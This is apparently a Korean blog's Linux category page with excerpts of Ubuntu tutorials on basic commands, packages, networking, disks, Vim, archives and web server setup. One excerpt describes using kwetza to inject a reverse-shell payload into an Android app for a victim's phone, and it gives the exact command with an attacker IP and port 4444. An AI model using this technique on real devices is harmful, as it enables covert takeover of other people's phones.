| 일 | 월 | 화 | 수 | 목 | 금 | 토 | 
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 | 
| 12 | 13 | 14 | 15 | 16 | 17 | 18 | 
| 19 | 20 | 21 | 22 | 23 | 24 | 25 | 
| 26 | 27 | 28 | 29 | 30 | 31 | 
- 스타트업
- Scapy
- 논문 리뷰
- 개발
- WinPcap
- ida python
- python3.9.0
- dreamhack
- go
- Intel
- NMAP
- cpu
- Python
- WarGame
- forensic
- 악성코드 탐지
- Flutter
- Protocol
- npcap
- 벡엔드
- ida pro 7.6
- 플러터
- ida pro
- python3.9
- 2024
- AI
- 프론트엔드
- python3.9.1
- Apple Silicon
- 모바일웹개발
- Today
- Total
목록Linux (11)
foxcomplex
Terminal 터미널에 들어가게 되면 "사용자ID@컴퓨터명:현재디렉토리~$" 이 뜬다. 이때 (~)는 사용자의 홈 디렉토리를 나타낸다. $ 표시는 일반 사용자용임을 나타내는데 일반사용자 외에 최고 권한 사용자도 있는데 "root" 인데 root 계정을 사용하게 되면 $ 이 # 표시로 바뀌게 된다. Terminal 를 종료하는방법은 아래와 같다 $ exit 파일과 디렉토리 관련 명령어 디렉토리 이동 현재 콘솔에서 자신의 위치 즉 자기가 있는곳을 확인하려면 pwd 라는 명령어를 사용하면 된다 사용하게 되면 아래처럼 될것이다.(현재 어느 디렉토리에 위치하고 있는지 알려줌) $ pwd /home/wwwww 위의 경우를 보면 루트 디렉토리(/)의 하위 디렉토리 home의 하위 디렉토리인 wwwww에 위치 하고 ..
 우분투 패키지(명령어)
      
      
        우분투 패키지(명령어)
        패키지 관련 명령어 패키지[package] 우분투는 데비안계열이기 때문에 패키지 관련 " apt " 이라는 명령어를 사용하게 된다. apt 명령어 세트에는 크게2가지가 나뉘는데 apt-get 와 apt-cache 가 있다. 여기서 apt-get 은 시스템에 영향을 주는 명령어라 권한을 상승해주어야 하는데 그 권한을 상승해주는 명령어가 sudo 라서 앞에 붙이면 된다. $ sudo apt-get install 패키지이름 이렇게 명령어를 치면 이 패키지를 설치하는데 용량은 이만큼 되는데 정말 설치해도 되나요? 라고 물어보는데 Y(y) 라고 하면 apt-get이 알아서 우분투 패키지 관리 서버에 접속해서 필요한 패키지를 다운로드 한다음에 시스템에 설치를 완료시켜준다. 위에서 처럼 install 은 패키치를 설..
 우분투(ubuntu) 네트워크
      
      
        우분투(ubuntu) 네트워크
        네크워크 관련 명령어 ping $ ping IP주소 또는 도메인주소 위의 명령어(ping)는 가장 기본적인 네크워크 명령어로 연결에 문제가 없는지 확인하는 명령어이다. 내 컴퓨터가 인터넷에 잘 연결되어 있는지 확인하려면 아래처럼 하면 된다. 위처럼 나오면 google.com 서버에서 응답을 받았다는 의미다. 즉 인터넷에 연결이 잘되었다는 거다. ifconfig $ ifconfig ifconfig 명령어는 운영체제(OS)에 설정된 네트워크 장치의 목록을 보여준다. 이 명령어를 사용하게 되면 크게 2가지 eth(숫자),lo 가 뜬다. 여기서 lo 는 loopback 이라 불린다. 이것은 운영체제 자신을 가리키고 있는 장치이자 lo 장치는 항상 IP주소가 127.0.0.1을 할당 받는데 이는 관례적으로 자기 ..
 우분투(Linux) 새로운 HDD/SSD 추가방법
      
      
        우분투(Linux) 새로운 HDD/SSD 추가방법
        파티션 만들기/나누기(fdisk)ㅡㅡ>파일시스템만들기 vmware 사용자 경우 먼저 vmware 로 우분투 설정에서 HDD/SDD 추가 시킨다. 나는 SDD를 5기가를 추가했다. 추가했다면 확인을 하려면 우분투 터미널에 들어가 ls /dev 를 치면 SDD가 추가되었는지를 확인할 수 가 있다. $ ls /dev 여기서 내가 추가한 SDD를 보려면 sdb가 있는지를 보면 된다. 즉 하드디스크가 여러개(3개정도)있다면 sda / sdb / sdc 순으로로 알파벳순으로 인식이 된다. 즉 새롭게 추가한 SDD이기 떄문에 원래쓰던 sda 가 아니라 추가한 sdb를 확인하면 된다. fdisk fdsik 는 파티션을 나누는 역할을한다.(파티션의 자리를 정해준다) $ sudo fdisk /dev/sdb 이렇게 치게되면..
Vim 1. Vim 설치 우선 Vim을 우분투에서 하면 처음엔 설치가 안되어있기 때문에 설치를 해줘야한다. sudo apt-get install vim 설치가 다 되었다면 $ Vi 또는 $ Vim 을 입력해주면 된다. vim에는 일반적인 에디터와 달라서 '모드' 가 있다. 처음들어갈땐 편집모드 가 아니라 아무것도 편집을 할 수 없는 것이다. 여기서 Vim 을 종료하고싶다면 :q 라고 입력하면 콘솔로 돌아온다. 2. VIM의 모드 Vim에는 몇 가지 모드를 가지고 있다. 그 모드들은 각각 목적이 정해져 있다. 따라서 동일한 키보드 입력도 모드에따라 다르게 입력될수있다. Vim 모드 에는 EX모드, 명령모드, 입력모드 이렇게 3가지 모드를 가지고 있다. Vim을 실행하게 되면 항상 명령모드에서부터 시작하게된..
 Archive file 압축/해제
      
      
        Archive file 압축/해제
        아카이브 파일이란? 아카이브 파일(Archive file)은 소스 볼륨과 미디어 정보, 파일 디렉터리 구조, 오류 감지, 복구 정보, 파일 설명을 포함할 수 있는 메타데이터가 포함된 하나 이상의 파일로 이루어진 파일을 말한다. tar 를 살펴보자 우선 tar 명령어들을 보자 -c = Archive compress (아카이브 묶기,만들기) -x = Archive uncompress (아카이브 해제) -t = list -f = file -v = verbose (과정을 보여줌) -J = bzip 으로 압축/해제 -z = gzip으로 압축/해제 tar 로 압축 하기 전에 연습용 디렉터리를 만들어야한다. $ mkdir Test_tar 만들었다면 작업을 하기위해 디렉터리로 이동을 해준다. $ cd Test_tar ..
 링크 파일(lnk)
      
      
        링크 파일(lnk)
        링크 파일 우리가 많이 사용하는 운영체제 MS윈도우를 사용하다 보면 바로가기 파일이 있는데 이 바로가기 파일은 그 파일에 내용이 있는 것이 아니라 다른 파일을 가리키고 있는 파일이 바로 링크 파일이라고 한다. 확장자도 바로가기는 .lnk 로 끝난다. 그래서 리눅스에서 이와 비슷한 개념이 있는데 링크 파일은 그것인데 다른 파일을 가리키고 있다는 파일이다. 윈도우 말고 리눅스에서 링크 파일을 만드려면 ln 명령어를 쓰면되는데 여기서 옵션 -s 를 주고 링크를 탈 파일을 적고 타고 들어가는 파일을 만들면 된다. 여기서 옵션 -s 는 심볼릭 링크(Synbolic link) 를 생성하라는 옵션인데 이 옵션을 주지 않으면 하드 링크 (Hard link) 파일이 생성이 되기 때문에 이를 유의해야 한다. 예를 들어서 ..
 아래의 영상을 토대로 진행하겠습니다. https://www.youtube.com/watch?v=jsqjiO5fyvM 이 분의 영상을 참고 하다가 안되는 사람들을 위한 것임을 알려드립니다.  위 동영상 3줄 요약 1. kwetza 설치 2. 위변조 할 앱 설치 및 바꾸기 3. 피해자 폰 설치 터미널 확인하기  한 13:58초 쯤 부터 python kwetza.py minjok.apk tcp 내부 아이피 4444 yes 만 적혀 있는데 이대로 했을때 안된 사람들은 뒤에 AssistActivity 를 추가 하시면 됩니다. python kwetza.py minjok.apk tcp 192.168.XXX.XXX 4444 yes AssistActivity 대문자 소문자 구별은 필수입니다.
 ubuntu 웹 서버 (오류 고치는 법 포함)apache2+Mysql+PHP7.X 설치 하기
      
      
        ubuntu 웹 서버 (오류 고치는 법 포함)apache2+Mysql+PHP7.X 설치 하기
        참조 1.(ubuntu 16.04 환경에서 진행하였습니다.) 참조 2. https://blog.naver.com/angel_id/221564521754 를 참조 하였습니다. Apache2, MariaDB 및 PHP 7.1 지원으로 Ubuntu 16.04 / 18.04에서 Composer를 사용하여 Magento 2 설치 Magento 2를 항상 최신 버전으로 쉽게 업그레이드하려면 아래 단계를 따라야합니다.이 게시물을 통해 Mag... blog.naver.com 참조 3. https://fishpoint.tistory.com/2230 를 참조 하였습니다. 라즈베리 파이3 에 APM(Apache + PHP + MySQL)을 설치 IT교육과 메이커 프로젝트에 유용한 자료를 보내드립니다. 주위분들에게도 알려주세..
 Goole Cloud Platform에서 codns 도메인 사용
      
      
        Goole Cloud Platform에서 codns 도메인 사용
        참고 사이트 : http://www.codns.com/codns/m/manual04.jsp , https://harineubo.tistory.com/7?category=792392  주의 : 구글 클라우드 플랫폼에서 이미 환경이 구축되어져 있다고 가정되었을 때에 쓴 것입니다.  1. 구글 클라우드 플랫폼  먼저 구글 클라우드 플랫폼 사이트에 들어간다. (윈도우 사용측에서) 다음과 같이 VM인스턴스에 환경이 구축되어져 있다면 SSH를 클릭하여 들어가준다.  2. 설정 SSH에 들어갔다면 빠르게 다음과 같은 명령어를 친다 $ sudo apt-get update $ sudo su sudo su 를 통해 관리자 권한을 일단 얻는다.  그리고 난 home 밑에 download 라는 디렉토리를 만들어 그안..
